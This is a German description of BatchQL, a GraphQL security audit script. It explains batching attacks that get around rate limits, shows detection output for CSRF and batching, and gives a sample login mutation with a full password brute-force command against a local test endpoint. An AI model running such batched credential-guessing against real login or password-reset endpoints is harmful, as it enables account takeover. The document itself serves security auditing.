
GraphQL-Sicherheitsaudit-Skript mit Schwerpunkt auf der Durchführung von Batch-GraphQL-Abfragen und -Mutationen
BatchQL ist ein GraphQL-Sicherheitsaudit-Skript mit Fokus auf die Durchführung von Batch-GraphQL-Abfragen und -Mutationen. Dieses Skript ist nicht komplex, und wir freuen uns über Verbesserungen.
Bei der Erkundung des Problembereichs von GraphQL-Batching-Angriffen stellten wir fest, dass es einige Blogbeiträge im Internet gab, jedoch kein Werkzeug, um GraphQL-Batching-Angriffe durchzuführen.
GraphQL-Batching-Angriffe können je nach implementierten Funktionen sehr schwerwiegend sein. Stellen Sie sich zum Beispiel eine Passwort-Zurücksetzen-Funktion vor, die eine 4‑stellige PIN erwartet, die an Ihre E‑Mail gesendet wurde. Mit diesem Werkzeug könnten Sie alle 10.000 PIN‑Versuche in einer einzigen GraphQL-Abfrage versuchen. Dies könnte je nach Implementierungsdetails des Passwort-Zurücksetzen-Ablaufs jede Ratenbegrenzung oder Kontosperrung umgehen.
Dieses Werkzeug ist in der Lage, Folgendes zu erkennen:
Derzeit unterstützt dieses Werkzeug nur das Senden von JSON-Listen-basierten Abfragen für Batching-Angriffe. Es unterstützt Szenarien, in denen die Variablen in der Abfrage eingebettet sind oder in der JSON-Eingabe bereitgestellt werden.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
Der obige Befehl führt Folgendes aus:
--query acc-login.txt.--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080